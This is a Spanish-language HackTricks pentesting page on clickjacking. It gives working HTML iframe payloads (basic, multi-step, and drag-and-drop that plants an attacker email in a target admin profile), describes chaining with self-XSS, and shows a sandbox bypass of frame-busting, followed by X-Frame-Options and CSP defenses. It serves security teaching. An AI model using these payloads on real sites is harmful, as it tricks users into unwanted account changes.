hacktricks/pentesting-web/clickjacking.md

12 KiB

Clickjacking

Aprende hacking de AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:


Utiliza Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

¿Qué es el Clickjacking

En un ataque de clickjacking, un usuario es engañado para hacer clic en un elemento en una página web que está invisible o disfrazado como un elemento diferente. Esta manipulación puede llevar a consecuencias no deseadas para el usuario, como la descarga de malware, redirección a páginas web maliciosas, provisión de credenciales o información sensible, transferencias de dinero o la compra en línea de productos.

Truco de prellenado de formularios

A veces es posible rellenar el valor de campos de un formulario utilizando parámetros GET al cargar una página. Un atacante puede abusar de este comportamiento para rellenar un formulario con datos arbitrarios y enviar la carga de clickjacking para que el usuario presione el botón Enviar.

Rellenar formulario con Arrastrar y Soltar

Si necesitas que el usuario llene un formulario pero no deseas pedirle directamente que escriba información específica (como el correo electrónico y/o una contraseña específica que conozcas), simplemente puedes pedirle que Arrastre y Suelte algo que escribirá tus datos controlados como en este ejemplo.

Carga Básica de Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Carga útil de múltiples pasos

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Carga útil de Arrastrar y Soltar + Click

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Si has identificado un ataque de XSS que requiere que un usuario haga clic en algún elemento para activar el XSS y la página es vulnerable al clickjacking, podrías abusar de ello para engañar al usuario y hacer que haga clic en el botón/enlace.
Ejemplo:
Encontraste un auto XSS en algunos detalles privados de la cuenta (detalles que solo tú puedes configurar y leer). La página con el formulario para establecer estos detalles es vulnerable al clickjacking y puedes prellenar el formulario con los parámetros GET.
__Un atacante podría preparar un ataque de clickjacking a esa página prellenando el formulario con el payload XSS y engañando al usuario para que envíe el formulario. Entonces, cuando se envíe el formulario y los valores se modifiquen, el usuario ejecutará el XSS.

Estrategias para Mitigar el Clickjacking

Defensas del Lado del Cliente

Los scripts ejecutados en el lado del cliente pueden realizar acciones para prevenir el Clickjacking:

  • Asegurarse de que la ventana de la aplicación sea la ventana principal o superior.
  • Hacer que todos los marcos sean visibles.
  • Prevenir clics en marcos invisibles.
  • Detectar y alertar a los usuarios sobre posibles intentos de Clickjacking.

Sin embargo, estos scripts de rompimiento de marcos pueden ser eludidos:

  • Configuraciones de Seguridad de los Navegadores: Algunos navegadores pueden bloquear estos scripts según sus configuraciones de seguridad o falta de soporte de JavaScript.
  • Atributo sandbox del iframe de HTML5: Un atacante puede neutralizar los scripts de rompimiento de marcos configurando el atributo sandbox con los valores allow-forms o allow-scripts sin allow-top-navigation. Esto evita que el iframe verifique si es la ventana superior, por ejemplo.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Defensas del Lado del Servidor

X-Frame-Options

El encabezado de respuesta HTTP X-Frame-Options informa a los navegadores sobre la legitimidad de renderizar una página en un <frame> o <iframe>, ayudando a prevenir el Clickjacking:

  • X-Frame-Options: deny - Ningún dominio puede enmarcar el contenido.
  • X-Frame-Options: sameorigin - Solo el sitio actual puede enmarcar el contenido.
  • X-Frame-Options: allow-from https://trusted.com - Solo el 'uri' especificado puede enmarcar la página.
  • Nota las limitaciones: si el navegador no admite esta directiva, es posible que no funcione. Algunos navegadores prefieren la directiva de ancestros de marco CSP.

Directiva frame-ancestors de la Política de Seguridad de Contenido (CSP)

La directiva frame-ancestors en CSP es el método recomendado para la protección contra Clickjacking:

  • frame-ancestors 'none' - Similar a X-Frame-Options: deny.
  • frame-ancestors 'self' - Similar a X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Similar a X-Frame-Options: allow-from.

Por ejemplo, la siguiente CSP solo permite enmarcar desde el mismo dominio:

Content-Security-Policy: frame-ancestors 'self';

Se pueden encontrar más detalles y ejemplos complejos en la documentación de CSP de ancestros de marco y en la documentación de CSP de ancestros de marco de Mozilla.

Política de Seguridad de Contenido (CSP) con child-src y frame-src

La Política de Seguridad de Contenido (CSP) es una medida de seguridad que ayuda a prevenir el Clickjacking y otros ataques de inyección de código al especificar qué fuentes debe permitir el navegador cargar contenido.

Directiva frame-src

  • Define fuentes válidas para marcos.
  • Más específico que la directiva default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Esta política permite marcos del mismo origen (self) y https://trusted-website.com.

Directiva child-src

  • Introducida en CSP nivel 2 para establecer fuentes válidas para trabajadores web y marcos.
  • Actúa como un respaldo para frame-src y worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Este documento permite marcos y workers del mismo origen (self) y https://trusted-website.com.

Notas de Uso:

  • Desaprobación: child-src está siendo eliminado a favor de frame-src y worker-src.
  • Comportamiento de Respaldo: Si frame-src está ausente, child-src se utiliza como respaldo para marcos. Si ambos están ausentes, se utiliza default-src.
  • Definición estricta de la fuente: Incluir solo fuentes confiables en las directivas para prevenir la explotación.

Scripts JavaScript de Rompimiento de Marcos

Aunque no son completamente infalibles, los scripts de rompimiento de marcos basados en JavaScript pueden ser utilizados para evitar que una página web sea enmarcada. Ejemplo:

if (top !== self) {
top.location = self.location;
}

Empleo de Tokens Anti-CSRF

  • Validación de Tokens: Utilice tokens anti-CSRF en aplicaciones web para garantizar que las solicitudes que cambian el estado sean realizadas intencionalmente por el usuario y no a través de una página Clickjacked.

Referencias


Use Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo.
Obtenga acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Aprenda hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: